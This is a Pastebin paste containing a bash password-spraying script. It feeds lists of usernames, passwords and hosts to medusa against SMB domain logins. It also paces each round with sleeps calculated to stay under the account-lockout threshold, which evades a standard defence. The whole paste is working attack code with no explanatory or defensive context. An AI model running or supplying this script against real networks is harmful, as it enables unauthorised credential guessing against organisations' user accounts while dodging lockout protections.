Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- LOCKOUT_THRESH='30'
- EXTRA='5'
- LOOPS='3'
- USER_FILE=$1
- PASS_FILE=$2
- HOST_FILE=$3
- #DOMAIN=$4
- LOCKOUT_TIME=$((((LOCKOUT_THRESH + EXTRA) * 60) / LOOPS))
- cat $PASS_FILE | while read PASS; do
- START=$(date +'%s')
- cat $USER_FILE | while read USERNAME; do
- HOST=$(sort -R $HOST_FILE | head -1)
- medusa -M smbnt -h $HOST -u $USERNAME -p $PASS -m GROUP:DOMAIN
- done
- STOP=$(date +'%s')
- TIME_SPENT=$((STOP - START))
- TIME_LEFT=$((LOCKOUT_TIME - TIME_SPENT))
- if [[ $TIME_LEFT -gt 0 ]]; then
- echo
- echo "######### Sleeping $TIME_LEFT seconds"
- echo
- sleep $TIME_LEFT
- fi
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement